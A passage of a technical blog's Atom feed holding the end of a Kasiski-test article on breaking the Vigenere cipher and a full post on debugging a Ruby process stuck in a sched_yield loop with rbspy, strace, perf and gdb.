&lt;br /&gt; Worst case. &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;frequency_of_deltas&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; has a quadratic response when the size of the input increase linearly. Even with this result, it is better than cubic the naive implementation. &lt;a href="/assets/crypto/kasiski/perf_kasiski.py"&gt;&lt;span style="white-space: nowrap;"&gt;&lt;i class="fab fa-github"&gt;&lt;/i&gt; code&lt;/span&gt;&lt;/a&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/crypto/kasiski/frequency_of_deltas_worst_case.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="final-thoughts"&gt;Final thoughts&lt;/h2&gt;
&lt;p&gt;With &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;frequency_of_deltas&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; we have the most likely difference or gap, gap that it should be a multiple of the length of the key.&lt;/p&gt;
&lt;p&gt;But what if a repeated ngram happen just by luck?&lt;/p&gt;
&lt;p&gt;That’s for the Part II.&lt;/p&gt;
&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/articles/2018/05/01/Breaking-Vigenere.html"&gt;Breaking Vigenere&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="/articles/2019/10/04/Index-of-Coincidence.html"&gt;Index of Coincidence&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wiki.python.org/moin/TimeComplexity"&gt;Python Time Complexity&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Dynamic_programming"&gt;Dynamic Programming&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="/assets/crypto/kasiski/MatthewBerntsenBUThesis.7z"&gt;Automating the Cracking of Simple Ciphers, by Matthew C. Berntsen&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2020/10/11/Kasiski-Test-Part-I.html" rel="alternate" type="text/html" title="Kasiski Test - Part I"/>
    <category term="cryptography" label="cryptography"/>
    <category term="cryptonita" label="cryptonita"/>
    <category term="vigenere" label="vigenere"/>
    <category term="kasiski" label="kasiski"/>
    <published>2020-10-11T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2020/09/13/Debug-the-Case-of-a-CPU-Burning-Ruby-Process.html</id>
    <title>Debug: the Case of a CPU Burning Ruby Process</title>
    <updated>2020-09-13T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;&lt;code&gt;executor.rb&lt;/code&gt; is a little program that starts and finishes other programs based on the needs of the system.&lt;/p&gt;
&lt;p&gt;It is expected to have one and only one &lt;code&gt;executor.rb&lt;/code&gt; process running with little overhead.&lt;/p&gt;
&lt;p&gt;In one of the machines in the lab I found the opposite: two &lt;code&gt;executor.rb&lt;/code&gt; instances and one of them running at top speed, consuming 100% of CPU.&lt;/p&gt;
&lt;p&gt;For the rest, the system was working properly so one of the &lt;code&gt;executor.rb&lt;/code&gt; was doing its job.&lt;/p&gt;
&lt;p&gt;But what was the &lt;em&gt;“twin evil”&lt;/em&gt; process doing with the CPU?&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="ruby-stack-sampling-with-rbspy"&gt;Ruby stack sampling with &lt;code&gt;rbspy&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;To get some insight I used &lt;a href="https://github.com/rbspy/rbspy"&gt;rbspy&lt;/a&gt;. It profiles a Ruby process sampling its memory, reconstructing the stack and showing which stack traces are the most common executed.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;./rbspy&lt;span class="w"&gt; &lt;/span&gt;record&lt;span class="w"&gt; &lt;/span&gt;--pid&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2331&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;120&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--raw-file&lt;span class="w"&gt; &lt;/span&gt;data.gz&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +skip&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Two minutes of sampling was done for the good and the bad &lt;code&gt;executor.rb&lt;/code&gt; processes.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;rbspy&lt;/code&gt; can also generate &lt;a href="https://rbspy.github.io/using-flamegraphs/"&gt;flame graphs&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;./rbspy&lt;span class="w"&gt; &lt;/span&gt;report&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;flamegraph&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;data.gz&lt;span class="w"&gt;  &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;out-good.svg&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +skip&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;figure class='fullwidth'&gt;&lt;img style="width: 100%;" class='fullwidth' alt='' src='/img/debug/ruby-process/flame-ruby-executor.png' /&gt;
&lt;figcaption&gt;
Flamegraph of 2 minutes sampling. On top a good behaving &lt;code&gt;executor.rb&lt;/code&gt;, spending most of the time waiting (right side). On bottom, its evil twin with a totally broken call stack.
&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately the call stack of the buggy process makes no sense.&lt;/p&gt;
&lt;h2 id="syscall-tracing-with-strace"&gt;Syscall tracing with &lt;code&gt;strace&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;&lt;label for='Ckl0IHdvdWxkIG5vdCBiZSBmaXJzdCB0aW1lIHRoYXQgSSBzZWUgYSBpbmZpbml0ZSBsb29wIGNhbGxpbmcgYHJlYWQoZmQsCmJ1ZiwgMClgICBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='Ckl0IHdvdWxkIG5vdCBiZSBmaXJzdCB0aW1lIHRoYXQgSSBzZWUgYSBpbmZpbml0ZSBsb29wIGNhbGxpbmcgYHJlYWQoZmQsCmJ1ZiwgMClgICBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
It would not be first time that I see a infinite loop calling &lt;code&gt;read(fd, buf, 0)&lt;/code&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I rollback to the traditional &lt;a href="https://linux.die.net/man/1/strace"&gt;strace&lt;/a&gt;. It slows down quite a bit the debugged process but knowing which syscall is being executed can be of a great help.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;strace&lt;span class="w"&gt; &lt;/span&gt;-tt&lt;span class="w"&gt; &lt;/span&gt;-T&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2331&lt;/span&gt;
&amp;lt;...&amp;gt;
&lt;span class="o"&gt;[&lt;/span&gt;pid&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2331&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;16&lt;/span&gt;:45:05.676271&lt;span class="w"&gt; &lt;/span&gt;sched_yield&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;&lt;span class="m"&gt;0&lt;/span&gt;.000008&amp;gt;
&lt;span class="o"&gt;[&lt;/span&gt;pid&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2331&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;16&lt;/span&gt;:45:05.676309&lt;span class="w"&gt; &lt;/span&gt;sched_yield&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;&lt;span class="m"&gt;0&lt;/span&gt;.000008&amp;gt;
&lt;span class="o"&gt;[&lt;/span&gt;pid&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2331&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;16&lt;/span&gt;:45:05.676346&lt;span class="w"&gt; &lt;/span&gt;sched_yield&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;&lt;span class="m"&gt;0&lt;/span&gt;.000008&amp;gt;
&lt;span class="o"&gt;[&lt;/span&gt;pid&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2331&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;16&lt;/span&gt;:45:05.676383&lt;span class="w"&gt; &lt;/span&gt;sched_yield&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;&lt;span class="m"&gt;0&lt;/span&gt;.000008&amp;gt;
&lt;span class="o"&gt;[&lt;/span&gt;pid&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2331&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;16&lt;/span&gt;:45:05.676419&lt;span class="w"&gt; &lt;/span&gt;sched_yield&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;&lt;span class="m"&gt;0&lt;/span&gt;.000007&amp;gt;
&amp;lt;...&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://www.man7.org/linux/man-pages/man2/sched_yield.2.html"&gt;sched_yield()&lt;/a&gt; is a syscall to &lt;em&gt;“relinquish the CPU”&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The caller thread decides that it cannot make any useful so it tells the OS that it should be moved out of the CPU (move the thread from running to ready) so other threads can use it.&lt;/p&gt;
&lt;p&gt;&lt;label for='CkkgdGFsayBhIG1hcmdpbmFsbHkgYWJvdXQgdGhpcyBpbiBteQpbb3RoZXIgcG9zdF0oL2FydGljbGVzLzIwMjAvMDIvMTUvQ1BVLUNhY2hlLUNvaGVyZW5jZS5odG1sKQogbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkkgdGFsayBhIG1hcmdpbmFsbHkgYWJvdXQgdGhpcyBpbiBteQpbb3RoZXIgcG9zdF0oL2FydGljbGVzLzIwMjAvMDIvMTUvQ1BVLUNhY2hlLUNvaGVyZW5jZS5odG1sKQogbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
I talk a marginally about this in my &lt;a href="/articles/2020/02/15/CPU-Cache-Coherence.html"&gt;other post&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I found this syscall in the past to implement a neighbor-friendly busy wait loop. Something like this:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;wait&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;some_condition&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;sched_yield&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;No code in &lt;code&gt;executor.rb&lt;/code&gt; was doing such a thing however, I was still missing something.&lt;/p&gt;
&lt;h2 id="c-stack-sampling-with-linux-perf"&gt;C stack sampling with Linux &lt;code&gt;perf&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;And &lt;a href="https://perf.wiki.kernel.org/index.php/Main_Page"&gt;Linux perf&lt;/a&gt; filled the blanks.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;perf&lt;span class="w"&gt; &lt;/span&gt;top&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2331&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +skip&lt;/span&gt;
&amp;lt;...&amp;gt;
&lt;span class="m"&gt;34&lt;/span&gt;.90%&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;kernel&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;k&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;do_syscall_64
&lt;span class="m"&gt;15&lt;/span&gt;.37%&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;kernel&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;k&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;syscall_return_via_sysret
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;9&lt;/span&gt;.08%&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;unknown&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;k&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;0xfffffe000000601e
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;.89%&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;kernel&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;k&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pvclock_clocksource_read
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;.06%&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;kernel&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;k&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;__schedule
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.52%&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;kernel&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;k&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;__raw_callee_save___pv_queued_spin_unloc
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.45%&lt;span class="w"&gt;  &lt;/span&gt;libc-2.24.so&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;.&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;__sched_yield
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.21%&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;kernel&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;k&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;_raw_spin_lock
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.16%&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;kernel&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;k&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;__entry_trampoline_start
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.01%&lt;span class="w"&gt;  &lt;/span&gt;libruby-2.3.so.2.3.0&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;.&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;rb_thread_stop_timer_thread
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.86%&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;unknown&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;k&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;0xfffffe0000006000
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.61%&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;kernel&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;k&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cpuacct_charge
&amp;lt;...&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;rb_thread_stop_timer_thread&lt;/code&gt; is a function of the ruby virtual machine and it was my first suspect.&lt;/p&gt;
&lt;p&gt;A search in google completed the story.&lt;/p&gt;
&lt;h2 id="finding-the-bug-with-google-and-the-open-source-community"&gt;Finding the bug with Google and the Open Source Community&lt;/h2&gt;
&lt;p&gt;Bug reports &lt;a href="https://bugs.ruby-lang.org/issues/13794"&gt;here&lt;/a&gt; and &lt;a href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=876377"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A counter is used for signaling between threads and &lt;a href="https://en.wikipedia.org/wiki/Compare-and-swap"&gt;CAS&lt;/a&gt; loop for detecting when it is zero yielding the CPU with &lt;code&gt;sched_yield&lt;/code&gt; if the condition was not met yet.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;native_stop_timer_thread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ATOMIC_CAS&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;timer_thread_pipe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;writing&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rb_atomic_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;native_thread_yield&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If a fork happen after one thread increments the counter but before someone decrements it, the child process will get stuck waiting for the counter to be zero.&lt;/p&gt;
&lt;p&gt;This makes totally sense for &lt;code&gt;executor.rb&lt;/code&gt; that main task is to fork and exec other processes.&lt;/p&gt;
&lt;p&gt;But I need to be sure that this is the bug.&lt;/p&gt;
&lt;h2 id="confirming-the-bug-with-gdb"&gt;Confirming the bug with GDB&lt;/h2&gt;
&lt;p&gt;I attached &lt;a href="https://www.gnu.org/software/gdb/"&gt;gdb&lt;/a&gt; to ruby process and confirmed the bug.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;gdb&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2331&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +skip&lt;/span&gt;
&amp;lt;...&amp;gt;
0x0000&amp;lt;...&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sched_yield&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;from&lt;span class="w"&gt; &lt;/span&gt;/lib/x86_64-linux-gnu/libc.so.6
&amp;lt;...&amp;gt;
&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bt
&lt;span class="c1"&gt;#0  0x0000&amp;lt;...&amp;gt; in sched_yield () from/lib/x86_64-linux-gnu/libc.so.6&lt;/span&gt;
&lt;span class="c1"&gt;#1  0x0000&amp;lt;...&amp;gt; in native_stop_timer_thread () atthread_pthread.c&lt;/span&gt;
&lt;span class="c1"&gt;#2  rb_thread_stop_timer_thread () at thread.c&lt;/span&gt;
&lt;span class="c1"&gt;#3  0x0000&amp;lt;...&amp;gt; in before_exec_non_async_signal_safe () atprocess.c&lt;/span&gt;
&lt;span class="c1"&gt;#4  before_exec () at process.c&lt;/span&gt;
&lt;span class="c1"&gt;#5  rb_f_exec (argc=&amp;lt;optimized out&amp;gt;, argv=&amp;lt;optimized out&amp;gt;) atprocess.c&lt;/span&gt;
&amp;lt;...&amp;gt;
&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;frame&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;span class="c1"&gt;#2  rb_thread_stop_timer_thread () at thread.c&lt;/span&gt;
&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;p&lt;span class="w"&gt; &lt;/span&gt;timer_thread_pipe
&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;normal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;low&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;owner_process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;writing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;With &lt;code&gt;timer_thread_pipe.writing&lt;/code&gt; in 1, the CAS loop will never end.&lt;/p&gt;
&lt;p&gt;Note that attaching a debugger is quite disruptive as it stops the debugged process; Linux &lt;code&gt;perf&lt;/code&gt; and &lt;code&gt;rbspy&lt;/code&gt; are much less intrusive and more appropriate for production environments.&lt;/p&gt;
&lt;h2 id="final-thoughts"&gt;Final thoughts&lt;/h2&gt;
&lt;p&gt;No single tool can always give you the answer and sometimes you need more than tools to solve the puzzle.&lt;/p&gt;
&lt;p&gt;You are not alone. People is out there to help you.&lt;/p&gt;
&lt;p&gt;But do not relay in google/stackoverflow only: without searching a little from your side generic queries like &lt;em&gt;“ruby program consumes 100% CPU”&lt;/em&gt; will lead you to nowhere.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2020/09/13/Debug-the-Case-of-a-CPU-Burning-Ruby-Process.html" rel="alternate" type="text/html" title="Debug: the Case of a CPU Burning Ruby Process"/>
    <category term="performance" label="performance"/>
    <category term="debugging" label="debugging"/>
    <category term="rbspy" label="rbspy"/>
    <category term="perf" label="perf"/>
    <published>2020-09-13T00:00:00+00:00</published>
  </entry>
  <entry>
